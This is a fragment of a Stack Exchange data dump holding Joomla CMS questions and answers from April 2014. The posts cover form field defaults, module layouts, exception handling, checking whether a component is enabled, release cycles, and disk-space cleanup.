  <row Id="282" PostTypeId="2" ParentId="280" CreationDate="2014-04-24T15:18:54.003" Score="0" Body="&lt;p&gt;I imagine you could so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fb_posttype&quot; type=&quot;checkboxes&quot; label=&quot;Post types&quot; checked=&quot;status&quot;&amp;gt;         &#xA;    &amp;lt;option value=&quot;status&quot; &amp;gt;Statuses&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;link&quot;&amp;gt;Links&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;photo&quot;&amp;gt;Photos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;video&quot;&amp;gt;Videos&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;event&quot;&amp;gt;Events&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or whatever you wish for the default to be.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2014-04-24T15:30:08.230" LastActivityDate="2014-04-24T15:30:08.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="283" PostTypeId="2" ParentId="255" CreationDate="2014-04-24T15:50:44.543" Score="4" Body="&lt;p&gt;It's not sure but use this rereplacer joomla extension&lt;/p&gt;&#xA;&#xA;&lt;p&gt;refer this link,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/rereplacer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/rereplacer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otherwise, Template overrides are the only way to do this.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-04-24T15:59:30.287" LastActivityDate="2014-04-24T15:59:30.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="284" PostTypeId="2" ParentId="274" CreationDate="2014-04-24T15:54:28.230" Score="3" Body="&lt;p&gt;As with all performance issues the best way to check is to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the native Joomla debugger doesn't profile plugins. That said, if the plugins are all similar bar the tags being used..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Code the plugins&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Using_JLog&quot; rel=&quot;nofollow&quot;&gt;Add time logging statements&lt;/a&gt; to the plugin code for each using the &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JLog.html&quot; rel=&quot;nofollow&quot;&gt;JLog class&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These messages can be written to file, or viewed when the Global Configuration &gt; System option 'Debug System' option is enabled. Furthermore you can wrap this code as per this &lt;a href=&quot;http://docs.joomla.org/How_to_debug_your_code&quot; rel=&quot;nofollow&quot;&gt;debug guide&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(JDEBUG){&#xA;    //whatever debugging code you want to run&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-04-24T15:54:28.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="285" PostTypeId="1" AcceptedAnswerId="292" CreationDate="2014-04-24T16:10:37.347" Score="5" ViewCount="110" Body="&lt;p&gt;I have noticed that with Joomla 3, any module that has more than one layout (in the &lt;code&gt;tmpl&lt;/code&gt; folder), and in the .xml has a default layout chosen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;layout&quot; type=&quot;modulelayout&quot;&#xA;label=&quot;JFIELD_ALT_LAYOUT_LABEL&quot;&#xA;description=&quot;JFIELD_ALT_MODULE_LAYOUT_DESC&quot;&#xA;default=&quot;mylayout&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When adding the module in the administration, if I go to the Advanced tab to check/select the &quot;Alternative Layout&quot;, it shows the first alphabetically and not the default specified in the xml!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this due to some change to the way I should be defining the default?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it related to a bug?&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="168" LastEditDate="2014-07-31T15:01:09.383" LastActivityDate="2014-07-31T15:01:09.383" Title="Default module layout not honoured in the admin (when adding a module)" Tags="|module|xml|default|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="286" PostTypeId="5" CreationDate="2014-04-24T16:25:59.037" Score="0" Body="&lt;h2&gt;Component&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A component&lt;/strong&gt; is a type of Joomla! extension. Components are the main functional units of Joomla!; they can be seen as mini-applications. An easy analogy would be that Joomla! is the operating system and the components are desktop applications. They are usually displayed in the center of the main content area of a template (depending on the template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most components have two main parts: an administrator part and a site part. The site part is what is used to render pages when being called during normal site operation. The administrator part provides an interface to configure and manage different aspects of the component and is accessible through the Joomla! administrator application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! comes with a number of core components, like the content management system, contact forms and Web Links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resources:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Component&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Joomla Compoments&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Absolute_Basics_of_How_a_Component_Functions&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Developer: Absolute Basics of How a Component Functions&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19" LastEditorUserId="126" LastEditDate="2015-08-21T15:23:45.847" LastActivityDate="2015-08-21T15:23:45.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="287" PostTypeId="4" CreationDate="2014-04-24T16:25:59.037" Score="0" Body="Components are the main functional units of Joomla!; they can be seen as mini-applications. An easy analogy would be that Joomla! is the operating system and the components are desktop applications." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-01T10:54:15.937" LastActivityDate="2014-08-01T10:54:15.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="288" PostTypeId="2" ParentId="244" CreationDate="2014-04-24T16:29:33.410" Score="6" Body="&lt;p&gt;To answer 'what is the technical reason', I took a look through the tracker and GitHub notes. The issue seems to be two-fold - a failure to delete certain files during the upgrade, and failure to apply certain SQL updates. However, if only affects some and not others. See the &lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_id=8103&amp;amp;tracker_item_id=32568&quot; rel=&quot;noreferrer&quot;&gt;bug tracker&lt;/a&gt; for additional info.&lt;/p&gt;&#xA;&lt;p&gt;The general best practice option approach seems to be:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;If not already borked...&lt;/em&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Backup!&lt;/li&gt;&#xA;&lt;li&gt;Disable &lt;code&gt;System -&amp;gt; Remember Me &lt;/code&gt; plugin&lt;/li&gt;&#xA;&lt;li&gt;Do the update&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;code&gt;System -&amp;gt; Remember Me &lt;/code&gt; plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;If borked and no backup...&lt;/em&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When the install fails on url /administrator/index.php?option=com_joomlaupdate&amp;amp;task=update.finalise with php  error '\plugins\system\remember\remember.php on line 94'&lt;/p&gt;&#xA;&lt;p&gt;Running \cli\deletefiles.php from the command line then refreshing the /administrator/index.php?option=com_joomlaupdate&amp;amp;task=update.finalise gives FULL SUCCESS&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/3467&quot; rel=&quot;noreferrer&quot;&gt;This commit&lt;/a&gt; ostensibly fixes the issue, but suggest it's to do with &lt;code&gt;$this-&amp;gt;app&lt;/code&gt; not being prepopulated by the system. It may also be worth a look if the above fails. Keep in mind this is quite a recent pull request (16th April 2014) and hasn't been approved in the tracker: YMMV.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-04-24T16:29:33.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="290" PostTypeId="1" CreationDate="2014-04-24T20:08:55.543" Score="13" ViewCount="3687" Body="&lt;p&gt;Between joomla 2.5 and 3.x what is the best way to check if another component is installed and/or enabled? There exist a helper class called &lt;code&gt;JComponentHelper&lt;/code&gt; but I believe the &lt;code&gt;isEnabled&lt;/code&gt; function will actually thrown an error if the component being checked is not installed on some joomla versions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be as simple as hitting up the database directly but I wanted to see if there are other classes/helpers/methods people use.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2018-02-19T08:35:43.500" Title="Best method to check if a component is installed/enabled?" Tags="|component|joomla-3.x|php|joomla-2.5|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="291" PostTypeId="1" AcceptedAnswerId="297" CreationDate="2014-04-24T20:21:50.660" Score="7" ViewCount="78" Body="&lt;p&gt;I'm looking for a &lt;a href=&quot;http://en.wikipedia.org/wiki/Software_release_life_cycle&quot; rel=&quot;nofollow&quot;&gt;Software Release Cycle Map&lt;/a&gt; (similar to the one at Wikipedia), but for Joomla!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I am specifically &lt;em&gt;not&lt;/em&gt; looking for &lt;em&gt;projected release dates&lt;/em&gt; or &lt;em&gt;length of support&lt;/em&gt; as part of this answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to confirm (or if I'm incorrect, get the following information down accurately, including the terminology used by the Project Leadership Team).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Alpha&lt;/li&gt;&#xA;&lt;li&gt;Beta&lt;/li&gt;&#xA;&lt;li&gt;Release Candidate (RC)&lt;/li&gt;&#xA;&lt;li&gt;Release to Marketing (RTM)&lt;/li&gt;&#xA;&lt;li&gt;General Availability (GA)&lt;/li&gt;&#xA;&lt;li&gt;Production&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The reason is that I would like to test my clients' sites (which are packed with extensions from various providers)against the Beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can set up another development server, clone the live site (password protect the directories) and upgrade the Joomla! core to the Beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need some instructions as to the correct way to configure the cloned test site to update to a specific Beta release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are drop-downs in the Joomla! Update Configuration (J!2.3.2) which don't seem to align, or do not provide the level description so that I know which version I'm updating to (i.e. what is 'testing'?) in the context of the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an option to enter a 'Custom URL' - but I'm not sure this lets users upgrade to test Beta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a little lost with how to assist with testing at the Beta stage, but I believe this would be of value to both the Joomla! CMS, the extension providers and of course site owners because it would provide an opportunity to test a cloned live site early in the release stage and to report and work out any bugs early on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the test would continue through the various Betas, to RC etc., so I would need to know how to set the Joomla! Update Configuration to update to the specific version of Joomla being tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, because I am little inexperienced, so if I am heading down the wrong the road, please feel free to clarify and suggest a better approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end-goal should be to be able to test early and continuously through the Beta and RC phases, provide feedback on any bugs to the Joomla! Project Leadership and Extension Developers, and then have a smooth transition to go live with the update CMS's for clients (in other words, I'm trying to figure out how to catch and communicate potential bugs early in the game).&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2014-04-25T00:20:44.190" LastActivityDate="2014-04-25T08:16:16.563" Title="How does the pre-release cycle for Joomla versions work and can I test my extensions at the Beta stage?" Tags="|versions|bug-testing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="292" PostTypeId="2" ParentId="285" CreationDate="2014-04-24T20:43:48.727" Score="3" Body="&lt;p&gt;Based on looking at the code of the &lt;code&gt;modulelayout.php&lt;/code&gt; file, it looks like you may have to preface the layout name with &lt;code&gt;_:&lt;/code&gt;. So your xml field would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;layout&quot; type=&quot;modulelayout&quot;&#xA;label=&quot;JFIELD_ALT_LAYOUT_LABEL&quot;&#xA;description=&quot;JFIELD_ALT_MODULE_LAYOUT_DESC&quot;&#xA;default=&quot;_:mylayout&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm seeing in the file that it sets a select option as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$groups['_']['items'][] = JHtml::_('select.option', '_:' . $value, $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is, I'm guessing, used to distinguish it from files with the exact same name that are in the template (as overrides). Those would be prefaced with the template name, based on this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$groups[$template-&amp;gt;element]['items'][] = JHtml::_('select.option', $template-&amp;gt;element . ':' . $value, $text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea if this is actually documented somewhere else. But for more fun, try perusing the code at &lt;code&gt;libraries/legacy/form/field/modulelayout.php&lt;/code&gt;. It's not too crazy. :)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-24T20:43:48.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostTypeId="2" ParentId="290" CreationDate="2014-04-24T21:56:37.707" Score="14" Body="&lt;p&gt;I use this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for component&#xA;if (!JComponentHelper::getComponent('&amp;lt;component name&amp;gt;', true)-&amp;gt;enabled)&#xA;{&#xA;.....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;component name&amp;gt;&lt;/code&gt; - without &quot;com_&quot; prefix&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="12109" LastEditDate="2018-02-19T08:35:43.500" LastActivityDate="2018-02-19T08:35:43.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="294" PostTypeId="2" ParentId="223" CreationDate="2014-04-24T22:09:47.973" Score="20" Body="&lt;p&gt;As @DmitryRekun said, a good discussion is &lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/Z8e-GPOuXrI&quot;&gt;here&lt;/a&gt;. The key piece to consider in all of this is what type of error do you have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two types of errors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Recoverable&lt;/li&gt;&#xA;&lt;li&gt;Unrecoverable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The difference I tend to sum up as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can I still show the page that was requested, even though this error occurred?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes? - Recoverable&lt;/li&gt;&#xA;&lt;li&gt;No? - Unrecoverable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now that we know what we are dealing with. What should you do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the error is unrecoverable, you want to redirect them to an error page &lt;strong&gt;instead of continuing on to the requested page&lt;/strong&gt;. That is as simple as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;throw new Exception(JText::_('COM_MYCOMP_ERROR_MESSAGE_NOT_FOUND'), 404);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Exception&lt;/code&gt; is a class that takes two parameters, a message and a code. It is recommended to try to use the &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_HTTP_status_codes&quot;&gt;HTTP Response Codes&lt;/a&gt; if they fit your scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the error is recoverable, you likely just want to display a message back to the end user while still showing them the page that they requested. This typically means that you should 'enqueue' a message for the application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage($error, 'error');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;enqueueMessage&lt;/code&gt; takes two parameters, the error message and a message type. More info &lt;a href=&quot;http://docs.joomla.org/Display_error_messages_and_notices&quot;&gt;here&lt;/a&gt; (at the bottom).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is also a third situation that occurs fairly often for me at least. Joomla will throw exceptions for different errors (such as a database query error). This means that Joomla thinks that this error is unrecoverable. However, you may want to continue on anyway. (For example, if I'm altering a table on update of my extension, I can just run the &lt;code&gt;ALTER&lt;/code&gt; query, which will throw an exception if the table has previously been altered.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, you want to wrap the code that might throw an exception in a try...catch section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    // exception generating code&#xA;    throw new Exception('Normally you would have other code that calls a class that throws the exception', 500);&#xA;} catch (Exception $e) {&#xA;    $msg = $e-&amp;gt;getMessage(); // Returns &quot;Normally you would have other code...&#xA;    $code = $e-&amp;gt;getCode(); // Returns '500';&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'error'); // commonly to still display that error&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that what you are doing is &quot;catching&quot; the unrecoverable error and forcing the system to recover and continue showing the requested page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Add all this up and your case should be an unrecoverable error. (I know this because you have 'return false' afterwards, so you likely don't plan to continue and are giving up on the function.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus I would rewrite this as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check for errors.&#xA;if (count($errors = $this-&amp;gt;get('Errors')))&#xA;{&#xA;    throw new Exception(implode(&quot;\n&quot;, $errors), 500);&#xA;    return false; // you can remove this too, technically since the exception will take you out of this function.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-24T22:09:47.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="295" PostTypeId="1" AcceptedAnswerId="298" CreationDate="2014-04-24T22:36:26.087" Score="2" ViewCount="155" Body="&lt;p&gt;I have been working on a component for quite some time now, it is meant to be more of link accessible library then a component though (its for form processing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it needs no settings to be added to the administration, so it needs no link, all settings are handled through modules and plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I use an install script to remove the link in the database, however I feel that is unclean, removing it from the database could in later version have an undesired effect, is there any nice way to do this other then the database? If not, is a component a bad idea for it? It could work as a library, it just needs to be able to handle GET requests.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-05-07T00:01:17.597" LastActivityDate="2014-12-16T01:24:00.957" Title="Hide Components with no admin interface" Tags="|cms|component|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="296" PostTypeId="2" ParentId="290" CreationDate="2014-04-24T22:44:23.037" Score="4" Body="&lt;p&gt;You are right that some versions will display an error if the component does not exist. As far as I know &lt;code&gt;JComponentHelper::getComponent('com_name', true)-&amp;gt;enabled&lt;/code&gt; is the best check if a component is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3.0 and above, you can use this even if the component is not installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 2.5, even the latest release (2.5.19) will throw a &lt;code&gt;JError::raiseWarning&lt;/code&gt; message that will be output to the end user if the component is not installed. If you want to support J2.5, it would seem that you would have to use your own helper to load the component. (You could probably make a new helper that extends JComponentHelper and just overrides the &lt;code&gt;_load&lt;/code&gt; function to get the same features with just the minor change.)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-24T22:44:23.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostTypeId="2" ParentId="291" CreationDate="2014-04-24T23:03:15.477" Score="8" Body="&lt;p&gt;Note the definitions below are for semantic versioning (&lt;a href=&quot;http://semver.org/&quot;&gt;http://semver.org/&lt;/a&gt;) which is what Joomla will be using as of Joomla 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for just a patch release we will normally just have a straight release candidate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a minor release we will release a number of beta's (there isn't normally a specified number that we follow but is greater than 2/3), followed by one (or occasionally more if severe bugs are found) release candidates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a major release we will release a set of alphas, betas and release candidates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to test any beta you are perfectly allowed to at any point. Note that you should of course not do this on your main site as beta's have NO upgrade path to the release candidate (you may well encounter errors on upgrading from one beta to another etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test a alpha, beta or rc you can either download a given package from JoomlaCode (for example here is the link to Beta 3 of Joomla 3.3 (&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6880&quot;&gt;http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6880&lt;/a&gt;) and install via extension manager, or set the Joomla Update Component to testing (note by this method you will ONLY get the latest testing version - this will be the latest beta or RC etc. - you CANNOT specify a version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom URL for the Joomla update component just allows you to point to another XML file i.e. it doesn't allow you to pick a version you wish to test. That's just not possible with the way the Joomla Update component is built - it is designed to pick the latest version of a component.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-24T23:03:15.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostTypeId="2" ParentId="295" CreationDate="2014-04-24T23:23:18.340" Score="4" Body="&lt;p&gt;Create a system plugin. In the plugin create a method onAfterRoute with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerPrefix('Mylibraryprefix', __DIR__ );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, in your plugin folder, put your libraries following the JLoader naming conventions. So you can instanciate your classes in anywhere in joomla.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2014-04-24T23:23:18.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="299" PostTypeId="1" AcceptedAnswerId="304" CreationDate="2014-04-25T06:23:21.770" Score="18" ViewCount="6477" Body="&lt;p&gt;Quite a few times I have been in a position where the front-end of a Joomla website is a blank screen with no content, sometimes known as a &quot;white screen of death&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has occurred after a website has been moved and it has also occurred unexpectedly on a previously functioning website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that there can be various different causes, what is an efficient way to troubleshoot and fix this issue?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2014-04-26T05:43:51.900" LastActivityDate="2016-07-27T14:00:40.257" Title="What is an efficient way to troubleshoot a &quot;white screen of death&quot;" Tags="|cms|recommended-practices|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="300" PostTypeId="1" AcceptedAnswerId="301" CreationDate="2014-04-25T06:46:13.697" Score="8" ViewCount="1652" Body="&lt;p&gt;I have a client on a hosting plan with insufficient space for the website and a backup. At this stage, they can't be persuaded to upgrade or move to another web hosting company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to reduce the disk space used by Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any standard extensions that use a lot of disk space and that can be safely removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any log files that can grow big over time and that can be safely deleted or reset somehow?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="140" LastEditDate="2014-04-25T07:02:34.707" LastActivityDate="2014-05-01T08:31:22.770" Title="How can I minimise the disk space used by a Joomla installation?" Tags="|cms|" AnswerCount="8" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostTypeId="2" ParentId="300" CreationDate="2014-04-25T07:06:49.943" Score="7" Body="&lt;p&gt;Some tips,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can remove unused extensions.&lt;/li&gt;&#xA;&lt;li&gt;You can remove or clear the log files. Many extensions create their own log files too (like paypal,Virtuemart, etc)&lt;/li&gt;&#xA;&lt;li&gt;If your site is not installed with Image compression, try that.(JPEG tran or PNG out will reduce much space in your gallery medias).&lt;/li&gt;&#xA;&lt;li&gt;Check the files and folders of development time. Developers create folder backups and/or file backups which you can remove too. &lt;/li&gt;&#xA;&lt;li&gt;Backups should not be kept on the same server. Use some Clouds for that like Google drive plugins for Joomla or something similar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope its helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="140" LastEditDate="2014-04-25T09:41:02.763" LastActivityDate="2014-04-25T09:41:02.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostTypeId="2" ParentId="280" CreationDate="2014-04-25T07:17:17.717" Score="0" Body="&lt;p&gt;I, in-case if you want your default value to be status then you just &#xA;add an attribute &lt;code&gt;default&lt;/code&gt; in the field and set the value, but here you can set only one default value in the field. Rest of values should be done only in the option here you have to add an attribute &lt;code&gt;checked=&quot;true&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine. Hope it may helps you&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;fb_posttype&quot; type=&quot;checkboxes&quot; default=&quot;status&quot;  label=&quot;Post types&quot;&amp;gt;         &#xA;  &amp;lt;option value=&quot;status&quot; &amp;gt;Statuses&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;link&quot; checked=&quot;true&quot; &amp;gt;Links&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;photo&quot; checked=&quot;true&quot;&amp;gt;Photos&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;video&quot;&amp;gt;Videos&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;event&quot;&amp;gt;Events&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="69" LastEditDate="2014-04-25T08:31:45.930" LastActivityDate="2014-04-25T08:31:45.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="303" PostTypeId="2" ParentId="290" CreationDate="2014-04-25T07:25:50.673" Score="4" Body="&lt;p&gt;try this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your database to see if the component is installed and enabled.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery(&quot;SELECT enabled FROM #__extensions WHERE name = 'com_name'&quot;);&#xA;$is_enabled = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the value of $is_enabled is 1, then your component is enabled.&#xA;otherwise,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!JComponentHelper::isEnabled('com_mycomp', true))&#xA;{&#xA;    JError::raiseError('404', JText('Component not installed / enabled'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="10" LastEditDate="2014-04-25T16:15:00.820" LastActivityDate="2014-04-25T16:15:00.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
